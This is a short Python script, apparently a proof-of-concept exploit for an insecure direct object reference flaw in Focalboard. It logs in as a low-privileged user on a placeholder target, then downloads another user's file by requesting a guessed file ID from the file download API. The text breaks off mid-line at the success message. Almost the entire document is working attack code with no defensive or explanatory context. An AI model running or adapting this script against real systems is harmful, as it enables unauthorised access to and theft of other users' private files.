import requests # Target URL configuration target_url = "https://example.com/focalboard" attacker_email = "[email protected]" attacker_password = "password" # 1. Authenticate as low-privileged user session = requests.Session() login_payload = { "email": attacker_email, "password": attacker_password } login_resp = session.post(f"{target_url}/api/v2/users/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) print("Logged in successfully") # 2. Exploit IDOR by guessing victim's file ID # Assume the victim's file ID is 'a1b2c3d4e5f6' victim_file_id = "a1b2c3d4e5f6" # 3. Request the file directly using the ID file_url = f"{target_url}/api/v2/files/{victim_file_id}/download" response = session.get(file_url) if response.status_code == 200: print(f"Success! Retrieved file content.
